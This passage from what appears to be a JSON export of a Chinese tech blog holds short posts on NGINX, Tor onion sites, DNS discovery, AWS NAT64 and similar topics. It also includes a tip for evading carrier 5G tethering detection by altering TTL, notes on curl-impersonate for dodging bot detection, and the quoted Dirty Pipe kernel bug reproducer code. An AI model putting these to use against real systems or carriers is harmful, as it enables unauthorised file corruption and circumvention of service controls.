key：\r\n\r\n<blockquote>The <code>ip_hash</code> algorithm load balances traffic across the servers in an <code>upstream{}</code> block, based on a hash of the client IP address. The hashing key is the first three octets of an IPv4 address or the entire IPv6 address. The method establishes session persistence, which means that requests from a client are always passed to the same server except when the server is unavailable.</blockquote>\r\n\r\n這完全就是官方自己在搞... 而 workaround 是自己指定 key：\r\n\r\n<blockquote>The fix is to use the <code>hash</code> algorithm instead with the <code>$binary_remote_addr</code> variable as the hash key.</blockquote>\r\n\r\n第十個是沒有使用 <code>upstream</code>，大多數的情況就是測試發現會動，就直接上 production 的關係 XDDD",
    "title": "NGINX 官方給的十個常見的設定錯誤"
  },
  {
    "id": "10573",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈開放他們整理過的 GitHub Advisory Database：「<a href=\"https://github.blog/2022-02-22-github-advisory-database-now-open-to-community-contributions/\">GitHub Advisory Database now open to community contributions</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有 GitHub 的 PM 回答一些問題，也可以看看：「<a href=\"https://news.ycombinator.com/item?id=30480862\">GitHub’s database of security advisories is now open source (github.blog)</a>」。\r\n\r\n對應的 repository 在「<a href=\"https://github.com/github/advisory-database\">github/advisory-database</a>」這邊可以看到，用的格式是 <a href=\"https://ossf.github.io/osv-schema/\">Open Source Vulnerability format</a>，裡面都是 <a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a> 檔案。\r\n\r\n裡面看起來是從 2017/10 開始的資料，這樣算起來大約累積了四年半，算是一個來源...",
    "title": "GitHub 放出了他們整理過的 GitHub Advisory Database"
  },
  {
    "id": "10577",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2022/02/18/10561/%E4%BF%AE%E6%AD%A3-curl-%E7%9A%84-tls-handshake%EF%BC%8C%E9%81%BF%E9%96%8B-bot-%E5%81%B5%E6%B8%AC%E6%A9%9F%E5%88%B6/\">修正 Curl 的 TLS handshake，避開 bot 偵測機制</a>」這邊提到 <a href=\"https://github.com/lwthiker/curl-impersonate\">curl-impersonate</a> 這個專案，試著修改 <a href=\"https://curl.se/\">curl</a> 的 TLS handshake fingerprint 讓偽裝的更好，本來只支援 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>，現在則是支援 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的 fingerprint 了...\r\n\r\n作者寫的兩篇說明文章也可以看看：「<a href=\"https://lwthiker.com/reversing/2022/02/17/curl-impersonate-firefox.html\">Making curl impersonate Firefox</a>」、「<a href=\"https://lwthiker.com/reversing/2022/02/20/impersonating-chrome-too.html\">Impersonating Chrome, too</a>」。\r\n\r\n看起來愈來愈完整了，連 <code>LD_PRELOAD</code> 的用法也出現了，然後在 <a href=\"https://archlinux.org/\">Arch Linux</a> 上也出現 AUR 可以用了...",
    "title": "curl 的 TLS fingerprint 偽裝專案 curl-impersonate 支援 Chrome 了"
  },
  {
    "id": "10578",
    "body": "先前有提到去申請了 <a href=\"https://kagi.com/\">Kagi</a> 的 beta 邀請碼，過了幾個月拿到後就把預設的 search engine 換過去測：「<a href=\"https://blog.gslin.org/archives/2022/02/14/10549/%E4%BE%86%E6%B8%AC%E8%A9%A6-kagi-%E9%80%99%E5%80%8B%E6%90%9C%E5%B0%8B%E5%BC%95%E6%93%8E/\">來測試 Kagi 這個搜尋引擎</a>」，現在也已經用了兩個多禮拜了，我的感覺是品質比 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 還好不少，而且有早年 <a href=\"https://www.google.com/\">Google</a> 那種搜起來很準的感覺...\r\n\r\n其中一個我覺得很不錯的功能是 Personalized Results，可以設定 domain 讓把權重拉高或是擋掉，像是我就設了一些拉高的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/j33PuLF.webp\" /><img src=\"https://i.gslin.com/imgur/j33PuLF.png\" alt=\"\" /></picture>\r\n\r\n另外我自己寫了一個「<a href=\"https://github.com/gslin/press-d-to-duckduckgo-from-kagi\">Press \"d\" to DuckDuckGo from Kagi</a>」可以在 Kagi 上面按 <code>d</code> 跳到 DuckDuckGo，但用過幾次後發現沒有差太多。\r\n\r\n後續如果有推出方案應該會訂起來吧...",
    "title": "用兩個禮拜 Kagi 的心得"
  },
  {
    "id": "10579",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30552142\">Google Docs New Feature: Pageless (support.google.com)</a>」這個，本來 <a href=\"https://www.google.com/\">Google</a> 的公告「<a href=\"https://support.google.com/docs/thread/150905607/google-docs-new-feature-pageless\">Google Docs New Feature: Pageless</a>」只是在講推出一個新功能，結果意外釣出 <a href=\"https://www.zoho.com/writer/\">Zoho Writer</a> 開發者與 <a href=\"https://docs.google.com/\">Google Docs</a> (應該說他前身之一的 Writely) 的 co-founder (Steve Newman) 討論以及對 <a href=\"https://www.notion.so/\">Notion</a> 的一些評價：\r\n\r\n<blockquote>I'm in the business of building an online word processor - https://www.zoho.com/writer</blockquote>\r\n\r\n<blockquote>I'm one of the original authors of Writely / Google Docs, and worked on relatively heavy-duty word processors in an earlier life.</blockquote>\r\n\r\n所以 Steve Newman 也跳去用 Notion 了... 另外有看到 <a href=\"https://coda.io/\">Coda</a> 這個 Notion 的競爭對手。",
    "title": "Zoho Writer 開發者與 Google Docs 前身 Writely 的 co-founder 對 Notion 的評價..."
  },
  {
    "id": "10580",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，BBC 這次戰爭拿出短波廣播發送訊號，讓烏克蘭地區的人，以及一部分俄羅斯的人可以收到 BBC 的新聞：「<a href=\"https://www.theverge.com/2022/3/4/22961286/bbc-news-blocked-in-russia-ukraine-invasion-shortwave-radio\">BBC resurrects WWII-era shortwave broadcasts as Russia blocks news of Ukraine invasion</a>」。\r\n\r\n<blockquote>The BBC says its shortwave broadcasts will be available on frequencies of 15735 kHz from 4PM to 6PM and 5875 kHz from 10PM to midnight, Ukraine time. News will be read in English, which the BBC says will be available in Kyiv as well as “parts of Russia.”</blockquote>\r\n\r\n主要還是用到短波廣播可以傳很遠，以及難以封鎖的特性，相較於 internet 容易被牆掉所以被拿來用...\r\n\r\n另外 BBC 也提供了 <a href=\"https://en.wikipedia.org/wiki/.onion\">Onion</a> 的版本，讓俄羅斯的人可以翻出來看 BBC 的新聞：\r\n\r\n<blockquote>The BBC’s current onion domain is: https://www.bbcnewsd73hkzno2ini43t4gblxvycyac5aw4gnv7t2rccijh7745uqd.onion.</blockquote>\r\n\r\n不過有 <a href=\"https://www.torproject.org/\">Tor</a> 的話基本上可以直接從 exit node 看，好像沒有必要特別用 Onion 位置...",
    "title": "BBC 這次拿出短波廣播..."
  },
  {
    "id": "10583",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/zmx\">zmx</a> 分享的 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">TLDR; 5G HotSpot 用 TTL 偵測的，把電腦TLL 加一就好<a href=\"https://t.co/NSl0iCSZRN\">https://t.co/NSl0iCSZRN</a></p>&mdash; zmx (@zmx) <a href=\"https://twitter.com/zmx/status/1500869791602855944?ref_src=twsrc%5Etfw\">March 7, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n原始文章在「<a href=\"https://www.mobile01.com/topicdetail.php?f=18&amp;t=6553274\">[教學]讓5G網路分享不被限速 —— 更改TTL</a>」這邊，目前已經自刪，但已經有人在 <a href=\"https://web.archive.org/\">Internet Archive</a> 上面先 archive 起來了：「<a href=\"https://web.archive.org/web/20220308032755/https://www.mobile01.com/topicdetail.php?f=18&amp;t=6553274\">[教學]讓5G網路分享不被限速 —— 更改TTL</a>」。\r\n\r\n技術上是偵測 <a href=\"https://en.wikipedia.org/wiki/Time_to_live\">TTL</a> 的數字來決定要怎麼擋 (一般機器的預設是 64)，而 TTL 在過 router (像是分享器) 時會自動減一，所以可以用這點來偵測。另外找了一下資料，看起來這個方式應該很久前就有在傳：「<a href=\"https://www.ptt.cc/bbs/MobileComm/M.1604163456.A.AA8.html\">[問題] 5G熱點分享問題 (USB分享算不算?)</a> (2020)」、「<a href=\"https://www.ptt.cc/bbs/MobileComm/M.1635269191.A.569.html\">[問題] 5G熱點分享限制有可能破解嗎？</a> (2021)」。\r\n\r\n另外 <a href=\"https://www.mobile01.com/userinfo.php?id=2723997\">Nahcoroyk</a> 有提到要關掉 IPv6：\r\n\r\n<blockquote>如果你5G是C/F/T家的記得把電腦的ipv6關掉，因為ipv6還是可以分辨你是不是有做分享，剛實測某家ipv6下載一樣會扣 但ipv4就列入行動網路了XD (我用iphone13pro分享給電腦)</blockquote>\r\n\r\n在猜之前有些手機不限流，但分享只有 1GB 的海外 SIM 卡應該也是類似的方法在偵測？之後能出國的時候可以研究看看...",
    "title": "台灣 5G 網路偵測「分享」的方式"
  },
  {
    "id": "10584",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://dirtypipe.cm4all.com/\">The Dirty Pipe Vulnerability</a>」這個 <a href=\"https://www.kernel.org/\">Linux kernel</a> 的安全性問題，Hacker News 上相關的討論在「<a href=\"https://news.ycombinator.com/item?id=30586740\">The Dirty Pipe Vulnerability (cm4all.com)</a>」這邊可以看到。\r\n\r\n這次出包的是 <a href=\"https://www.kernel.org/doc/html/latest/filesystems/splice.html\">splice()</a> 的問題，先講他寫出可重製 bug 的程式碼，首先是第一個程式用 user1 放著跑：\r\n\r\n<pre>#include &lt;unistd.h&gt;\r\nint main(int argc, char **argv) {\r\n  for (;;) write(1, \"AAAAA\", 5);\r\n}\r\n// ./writer &gt;foo</pre>\r\n\r\n然後第二個程式也放著跑 (可以是不同的 user2，完全無法碰到 user1 的權限)：\r\n\r\n<pre>#define _GNU_SOURCE\r\n#include &lt;unistd.h&gt;\r\n#include &lt;fcntl.h&gt;\r\nint main(int argc, char **argv) {\r\n  for (;;) {\r\n    splice(0, 0, 1, 0, 2, 0);\r\n    write(1, \"BBBBB\", 5);\r\n  }\r\n}\r\n// ./splicer &lt;foo |cat &gt;/dev/null</pre>\r\n\r\n理論上不會在 <code>foo</code> 裡面看到任何 <code>BBBBB</code> 的字串，但卻打穿了... 透過 <a href=\"https://git-scm.com/docs/git-bisect\">git bisect</a> 的檢查，他也確認了是在「<a href=\"https://github.com/torvalds/linux/commit/f6dd975583bd8ce088400648fd9819e4691c8958\">pipe: merge anon_pipe_buf*_ops</a>」這個 commit 時出的問題。\r\n\r\n不過找到問題的過程拉的頗長，一開始是有 web hosting 服務的 support ticket 說 access log 下載下來發現爛掉了，無法解壓縮：\r\n\r\n<blockquote>It all started a year ago with a support ticket about corrupt files. A customer complained that the access logs they downloaded could not be decompressed. And indeed, there was a corrupt log file on one of the log servers; it could be decompressed, but gzip reported a CRC error.</blockquote>\r\n\r\n然後他先手動處理就把票關起來了：\r\n\r\n<blockquote>I fixed the file’s CRC manually, closed the ticket, and soon forgot about the problem.</blockquote>\r\n\r\n接下來過幾個月後又發生，經過幾次的 support ticket 後他手上就有一些「資料」可以看：\r\n\r\n<blockquote>Months later, this happened again and yet again. Every time, the file’s contents looked correct, only the CRC at the end of the file was wrong. Now, with several corrupt files, I was able to dig deeper and found a surprising kind of corruption. A pattern emerged.</blockquote>\r\n\r\n然後因為發生的頻率也不是很高，加上邏輯上卡到死胡同，所以他也沒有辦法花太多時間在上面：\r\n\r\n<blockquote>None of this made sense, but new support tickets kept coming in (at a very slow rate). There was some systematic problem, but I just couldn’t get a grip on it. That gave me a lot of frustration, but I was busy with other tasks, and I kept pushing this file corruption problem to the back of my queue.</blockquote>\r\n\r\n後來真的花時間下去找，利用先前的 pattern 掃了一次系統 log，發現有規律在：\r\n\r\n<blockquote>External pressure brought this problem back into my consciousness. I scanned the whole hard disk for corrupt files (which took two days), hoping for more patterns to emerge. And indeed, there was a pattern:\r\n\r\n<ul>\r\n\t<li>there were 37 corrupt files within the past 3 months</li>\r\n\t<li>they occurred on 22 unique days</li>\r\n\t<li>18 of those days have 1 corruption</li>\r\n\t<li>1 day has 2 corruptions (2021-11-21)</li>\r\n\t<li>1 day has 7 corruptions (2021-11-30)</li>\r\n\t<li>1 day has 6 corruptions (2021-12-31)</li>\r\n\t<li>1 day has 4 corruptions (2022-01-31)</li>\r\n</ul>\r\n\r\nThe last day of each month is clearly the one which most corruptions occur.</blockquote>\r\n\r\n然後就試著寫各種 reproducible code，最後成功的版本就是開頭提到的，然後他發現這個漏洞可以是 security vulnerability，就回報出去了，可以看到前後從第一次的 support ticket 到最後解決花了快一年的時間，不過 Linux kernel 端修正的速度蠻快的：\r\n\r\n<blockquote>\r\n<ul>\r\n\t<li>2021-04-29: first support ticket about file corruption</li>\r\n\t<li>2022-02-19: file corruption problem identified as Linux kernel bug, which turned out to be an exploitable vulnerability</li>\r\n\t<li>2022-02-20: bug report, exploit and patch sent to the Linux kernel security team</li>\r\n\t<li>2022-02-21: bug reproduced on Google Pixel 6; bug report sent to the Android Security Team</li>\r\n\t<li>2022-02-21: patch sent to LKML (without vulnerability details) as suggested by Linus Torvalds, Willy Tarreau and Al Viro</li>\r\n\t<li>2022-02-23: Linux stable releases with my bug fix (5.16.11, 5.15.25, 5.10.102)</li>\r\n\t<li>2022-02-24: Google merges my bug fix into the Android kernel</li>\r\n\t<li>2022-02-28: notified the linux-distros mailing list</li>\r\n\t<li>2022-03-07: public disclosure</li>\r\n</ul>\r\n</blockquote>\r\n\r\n整個故事還蠻精彩的 XD",
    "title": "最近 Linux 核心安全性問題的 Dirty Pipe 故事很有趣..."
  },
  {
    "id": "10586",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30614987\">Twitter is now available on Tor (help.twitter.com)</a>」這篇，講 <a href=\"https://twitter.com/\">Twitter</a> 官方的說明裡面有提到 <a href=\"https://www.tor-project.org/\">Tor</a> 的 Onion 服務：「<a href=\"https://help.twitter.com/en/using-twitter/twitter-supported-browsers\">About twitter.com supported browsers</a>」。\r\n\r\n會用到的網址分別是：\r\n\r\n<ul>\r\n\t<li><a href=\"https://twitter3e4tixl4xyajtrzo62zg5vztmjuricljdp2c5kshju4avyoid.onion/\">https://twitter3e4tixl4xyajtrzo62zg5vztmjuricljdp2c5kshju4avyoid.onion/</a></li>\r\n\t<li>twitterhbmit57bzbcjnujedrn7uk73geo4ackio4lxdj6t7w6f4zsid.onion (資源的網址)</li>\r\n\t<li>twitterhpgjerufcvrmzerg2novpipy42rk3anvb5b7np4zggm4rwaqd.onion (應該也是資源的網址)</li>\r\n</ul>\r\n\r\n看起來這些開頭為 <code>twitter</code> 的 domain 是撞出來的... 不過還是討問題，如果已經可以用 Tor 的話，exit node 應該夠用？",
    "title": "Twitter 的 Tor Onion 位置"
  },
  {
    "id": "10587",
    "body": "看到 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈支援 <a href=\"https://datatracker.ietf.org/doc/html/draft-ietf-add-ddr-05\">Discovery of Designated Resolvers</a> (DDR)：「<a href=\"https://blog.cloudflare.com/announcing-ddr-support/\">Announcing experimental DDR in 1.1.1.1</a>」。\r\n\r\n看了一下這以後會是新的標準 (現在還在 draft)，可以自動偵測現在用的 DNS resolver 是否支援 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> 或是 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a>，如果有的話就 upgrade 到 DoH 或 DoT：\r\n\r\n<blockquote>This document defines Discovery of Designated Resolvers (DDR), a mechanism for DNS clients to use DNS records to discover a resolver's encrypted DNS configuration.</blockquote>\r\n\r\n目前的 spec 是去查 <code>_dns.resolver.arpa</code>，下面第一個是支援 DoH 的回應，第二個則是支援 DoT 的回應：\r\n\r\n<pre>_dns.resolver.arpa  7200  IN SVCB 1 doh.example.net ( alpn=h2 dohpath=/dns-query{?dns} )</pre>\r\n\r\n<pre>_dns.example.net  7200  IN SVCB 1 dot.example.net ( alpn=dot port=8530 )</pre>\r\n\r\n實際上拿 <a href=\"https://1.1.1.1/\">1.1.1.1</a> 測試，在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 下用 <a href=\"https://en.wikipedia.org/wiki/Dig_(command)\">dig</a> 可以看到一堆亂碼 XDDD\r\n\r\n<pre>;; ANSWER SECTION:\r\n_dns.resolver.arpa.     300     IN      TYPE64  \\# 104 0001036F6E65036F6E65036F6E65036F6E6500000100060268320268 330003000201BB000400080101010101000001000600202606470047 00000000000000000011112606470047000000000000000000100100 0700112F646E732D71756572797B3F6E616D657D\r\n_dns.resolver.arpa.     300     IN      TYPE64  \\# 81 0002036F6E65036F6E65036F6E65036F6E65000001000403646F7400 03000203550004000801010101010000010006002026064700470000 00000000000000111126064700470000000000000000001001</pre>\r\n\r\n改用 <a href=\"https://www.docker.com/\">Docker</a> 開了 Ubuntu 22.04 (jammy) 的 image 後，裡面的 dig 可以用 <code>SVCB</code> 查詢 (本來的 type64 也還是會動)，另外也把內容解出來了：\r\n\r\n<pre>;; ANSWER SECTION:\r\n_dns.resolver.arpa.     300     IN      SVCB    1 one.one.one.one. alpn=\"h2,h3\" port=443 ipv4hint=1.1.1.1,1.0.0.1 ipv6hint=2606:4700:4700::1111,2606:4700:4700::1001 key7=\"/dns-query{?name}\"\r\n_dns.resolver.arpa.     300     IN      SVCB    2 one.one.one.one. alpn=\"dot\" port=853 ipv4hint=1.1.1.1,1.0.0.1 ipv6hint=2606:4700:4700::1111,2606:4700:4700::1001</pre>\r\n\r\n這樣就不需要寫死在系統內，但要注意這樣還是會有 attacker 擋住讓你 upgrade 的問題...",
    "title": "自動偵測 DNS over HTTPS 或是 DNS over TLS 的 Discovery of Designated Resolvers (DDR)"
  },
  {
    "id": "10589",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2022/03/10/10586/twitter-%e7%9a%84-tor-onion-%e4%bd%8d%e7%bd%ae/\">Twitter 的 Tor Onion 位置</a>」與「<a href=\"https://blog.gslin.org/archives/2022/03/06/10580/bbc-%e9%80%99%e6%ac%a1%e6%8b%bf%e5%87%ba%e7%9f%ad%e6%b3%a2%e5%bb%a3%e6%92%ad/\">BBC 這次拿出短波廣播...</a>」這兩篇我都有在懷疑為什麼要提供 <a href=\"https://www.torproject.org/\">Tor</a> 的 <a href=\"https://en.wikipedia.org/wiki/.onion\">.onion</a> 位置，不是直接透過 exit node 連出去就好了嗎，結果今天看到「<a href=\"https://alecmuffett.com/article/16007\">Why offer an Onion Address rather than just encourage browsing-over-Tor?</a>」這篇在解釋。\r\n\r\n對使用者來說，用 .onion 的好處是隱私性會更好，因為 exit node 本身不一定安全，必須透過 <a href=\"https://en.wikipedia.org/wiki/HTTPS\">HTTPS</a> 保護才有基本的防護，而且就算用了 HTTPS 還是可以從 HTTPS 的 handshake 得到不少資訊。\r\n\r\n對網路本身來說，exit node 算是<a href=\"https://zh.wikipedia.org/wiki/%E7%A8%80%E7%BC%BA%E6%80%A7\">稀缺資源</a>，大多數人可以架 Tor 的 relay node，但沒辦法做 exit node，因為 exit node 的特性會導致常常收到各種警告。因此能用 .onion 位置存取，也會降低對 exit node 的壓力。\r\n\r\n另外 <a href=\"https://cabforum.org/\">CA/Browser</a> 在 2020 的時候就允許發出 .onion 憑證：「<a href=\"https://blog.gslin.org/archives/2021/03/26/10089/%E8%AE%93-tor-%E7%9A%84-onion-%E6%94%AF%E6%8F%B4-https/\">讓 Tor 的 .onion 支援 HTTPS</a>」，看起來應該也是多一層保護...",
    "title": "使用 Tor 的 .onion 位置，而非透過 Exit Node 存取網站的好處"
  },
  {
    "id": "10590",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了一套機制，讓 IPv6-only 的機器可以連到 IPv4-only 的服務：「<a href=\"https://aws.amazon.com/blogs/aws/let-your-ipv6-only-workloads-connect-to-ipv4-services/\">Let Your IPv6-only Workloads Connect to IPv4 Services</a>」。\r\n\r\n首先是 <a href=\"https://en.wikipedia.org/wiki/DNS64\">DNS64</a>，針對只有 IPv4-only 的 A record 自動加上 <code>AAAA</code> record (如果已經有 <code>AAAA</code> record 的則不變)，這邊提到的 <code>64:ff9b::/96</code> 是來自 DNS64 標準內的規範：\r\n\r\n<blockquote>The DNS resolver first checks if the record contains an IPv6 address (AAAA record). If it does, the IPv6 address is returned. The IPv6 host can connect to the service using just IPv6. When the record only contains an IPv4 address, the Route 53 resolver synthesizes an IPv6 address by prepending the well-known <code>64:ff9b::/96</code> prefix to the IPv4 address.</blockquote>\r\n\r\n再來就是 <a href=\"https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html\">NAT Gateway</a> 可以把 <code>64:ff9b::/96</code> 透過 <a href=\"https://en.wikipedia.org/wiki/NAT64\">NAT64</a> 轉到 IPv4 network 上：\r\n\r\n<blockquote>You may configure subnet routing to send all packets starting with 64:ff9b::/96 to the NAT gateway. The NAT gateway recognizes the IPv6 address prefix, extracts the IPv4 address from it, and initiates an IPv4 connection to the destination. As usual, the source IPv4 address is the IPv4 address of the NAT gateway itself.</blockquote>\r\n\r\n由於有些 protocol 會帶 IP address 資訊，所以不能保證 NAT64 一定會動，但大多數的情況應該是可以解決，至少提供了 IPv6-only server 連到 IPv4-only network 上的方法...",
    "title": "Route 53 支援 DNS64，以及 NAT Gateway 支援 NAT64"
  },
  {
    "id": "10591",
    "body": "看到 <a href=\"https://www.linode.com/\">Linode</a> 宣佈 Managed Databases 服務：「<a href=\"https://www.linode.com/blog/databases/linode-managed-databases-in-open-beta/\">Linode Managed Databases in Open Beta</a>」。\r\n\r\n測試期間不用錢，但目前只有支援 <a href=\"https://dev.mysql.com/\">MySQL</a>，其他幾個像是 <a href=\"https://www.postgresql.org/\">PostgreSQL</a>、<a href=\"https://redis.io/\">Redis</a> 與 <a href=\"https://www.mongodb.com/\">MongoDB</a> 都還沒推出 (在 roadmap 上)：\r\n\r\n<blockquote>Our new managed database service is now in open beta for new and existing customers! We currently support MySQL during this beta—with a near-term roadmap to add PostgreSQL, Redis, MongoDB—and plan to include additional features.</blockquote>\r\n\r\n搜了一下隔壁 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的資料，<a href=\"https://www.digitalocean.com/products/managed-databases\">Manage Databases</a> 這條產品線在 2019 年二月推出 PostgreSQL 的版本：「<a href=\"https://www.digitalocean.com/blog/announcing-managed-databases-for-postgresql\">Our Valentine’s Gift to You: Managed Databases for PostgreSQL</a>」，在 2019 年八月推出了 MySQL 與 Redis 的版本：「<a href=\"https://www.digitalocean.com/blog/take-the-worry-out-of-managing-your-mysql-redis-databases\">Take the worry out of managing your MySQL &amp; Redis databases</a>」，然後在 2021 年六月推出了 MongoDB 的版本：「<a href=\"https://www.digitalocean.com/blog/introducing-digitalocean-managed-mongodb\">Introducing DigitalOcean Managed MongoDB – a fully managed, database as a service for modern apps</a>」。\r\n\r\n不過 <a href=\"https://www.vultr.com/\">Vultr</a> 看起來是還是完全沒有樣子，相比起來 Linode 好像不算慢？\r\n\r\n另外看起來 DigitalOcean 是跟 MongoDB 合作，不像 <a href=\"https://aws.amazon.com/\">AWS</a> 自己另外用 PostgreSQL 搞了一套 XDDD",
    "title": "Linode 過了三年，終於想起來要推出 Managed Databases 服務了"
  },
  {
    "id": "10592",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30605252\">Static torrent website with peer-to-peer queries over BitTorrent on 2M records (boredcaveman.xyz)</a>」這個討論，作者試著在網頁上跑 <a href=\"https://sqlite.org/\">SQLite</a> + <a href=\"https://sqlite.org/vfs.html\">VFS</a> + <a href=\"https://en.wikipedia.org/wiki/WebTorrent\">WebTorrent</a>。\r\n\r\n這好像是這陣子一連串的 combo 技累積出來的東西：\r\n\r\n<ul>\r\n\t<li>首先當然是把 SQLite 丟到網頁上跑的「<a href=\"https://github.com/sql-js/sql.js\">sql.js</a>」，這個專案比較久了，2019 年有第一個 release；</li>\r\n\t<li>然後最近有人透過 HTTP Range (<a href=\"https://en.wikipedia.org/wiki/Byte_serving\">Byte serving</a>) 實做 SQLite VFS 的「<a href=\"https://github.com/phiresky/sql.js-httpvfs\">sql.js-httpvfs</a>」，這樣就不需要一次下載整包 SQLite；</li>\r\n</ul>\r\n\r\n接下來就是文章作者把 HTTP Range 換掉，改用 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> 的 pieces 來處理，在網頁端的話就順勢拿 WebTorrent 來用，對於很熱門的網站來說還蠻有趣的設計，但也可以預期網頁的反應速度應該不會太快，偏 PoC...",
    "title": "把 SQLite 的 VFS 掛上 WebTorrent 的 PoC Demo"
  },
  {
    "id": "10594",
    "body": "以前 <a href=\"https://www.hashicorp.com/\">HashiCorp</a> 家的軟體大多都是自己下載 binary 後放到 <code>/usr/bin</code> 或是 <code>/usr/local/bin</code> 下使用，剛剛翻了一下 <a href=\"https://www.nomadproject.io/\">Nomad</a> 與 <a href=\"https://www.vaultproject.io/\">Vault</a>，看起來都支援 APT repository 了：「<a href=\"https://apt.releases.hashicorp.com/\">https://apt.releases.hashicorp.com</a>」；另外也有 RPM repository：「<a href=\"https://rpm.releases.hashicorp.com/\">https://rpm.releases.hashicorp.com</a>」。\r\n\r\n這樣下個禮拜分享會的投影片也要改一改了...\r\n\r\n另外看了一下架構，從錯誤訊息觀察，看起來後面是 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a>，前面是 <a href=\"https://www.fastly.com/\">Fastly</a> 的 CDN。",
    "title": "HashiCorp 家的軟體看起來都支援 APT repository 了"
  },
  {
    "id": "10595",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://perflyst.github.io/PiHoleBlocklist/SmartTV.txt\">Smart-TV Blocklist for Pi-hole</a>」這個，給 <a href=\"https://pi-hole.net/\">Pi-hole</a> 吃的 blocklist，可以拿來擋 Smart TV 抓一堆廣告亂搞，另外很多自己刷的 WRT 也都支援這個格式，不一定要自己弄 Pi-hole，像是我家裡的 <a href=\"https://advancedtomato.com/\">AdvancedTomato</a> 也有支援：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9eGOXFb.webp\" /><img src=\"https://i.gslin.com/imgur/9eGOXFb.png\" alt=\"\" /></picture>\r\n\r\n本來馬上想到的是 <a href=\"https://adguard-dns.com/\">AdGuard</a> 提供的 DNS <code>94.140.14.14</code>，結果掃了一下發現都沒有擋掉，難怪會需要另外自己搞...\r\n\r\n另外一個想到的搞法是 <a href=\"https://nextdns.io/\">NextDNS</a>，但 IPv4 的部份要固定 IP 才有辦法 (像是 <a href=\"https://www.hinet.net/\">HiNet</a> 提供的 <a href=\"https://en.wikipedia.org/wiki/PPPoE\">PPPoE</a> 固一)，免費版的 quota 拿來掛 Smart TV 應該夠用...\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論在「<a href=\"https://news.ycombinator.com/item?id=30655479\">Smart-TV blocklist for Pi-Hole (perflyst.github.io)</a>」這邊，這年頭要弄台不連網的電視機愈來愈難了...",
    "title": "透過 DNS 擋 Smart TV 的廣告"
  },
  {
    "id": "10597",
    "body": "一開始是在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30583808\">Algorithms for Modern Hardware (algorithmica.org)</a>」這篇，原文在「<a href=\"https://en.algorithmica.org/hpc/\">Algorithms for Modern Hardware</a>」，本來是在他們要在 2022 夏天出一本書講現代硬體架構下的演算法，但在裡面看到了「<a href=\"https://cp-algorithms.com/\">Algorithms for Competitive Programming</a>」這個網站，列出了程式競賽常用的演算法。\r\n\r\n裡面的演算法常常是解問題的基礎 (小積木)，拿來打 <a href=\"https://leetcode.com/\">Leetcode</a> 也很好用，不過要注意裡面都未必是最佳解，像是 <a href=\"https://cp-algorithms.com/sequences/k-th.html\">Kth order statistic in O(N)</a> 這邊只提到了 <a href=\"https://en.wikipedia.org/wiki/Quickselect\">Quickselect</a> 這個時間複雜度平均是 [latex]\\theta(n)[/latex] 的演算法 (最壞是 [latex]\\theta(n^2)[/latex])，但實際上配合 <a href=\"https://en.wikipedia.org/wiki/Median_of_medians\">Median of medians</a> 可以確保最壞的情況下是 [latex]\\theta(n)[/latex]。",
    "title": "程式競賽常用的演算法"
  },
  {
    "id": "10599",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的消息，<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 買下 <a href=\"https://css-tricks.com/\">CSS-Tricks</a>：「<a href=\"https://css-tricks.com/css-tricks-is-joining-digitalocean/\">CSS-Tricks is joining DigitalOcean!</a>」，DigitalOcean 的公告在「<a href=\"https://www.digitalocean.com/blog/css-tricks-joins-digitalocean\">CSS-Tricks joins DigitalOcean, expanding our commitment to community</a>」，而 Hacker News 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=30684594\">DigitalOcean acquires CSS-tricks (css-tricks.com)</a>」。\r\n\r\n不知道 DigitalOcean 的想法，有人猜算是買媒體的一種，也有人猜是因為 css-tricks.com 的 SEO 分數超高。\r\n\r\n對 css-tricks.com 這邊來說，基本上就是脫手賣掉？不過沒看到金額...",
    "title": "DigitalOcean 買下 CSS-Tricks"
  },
  {
    "id": "10601",
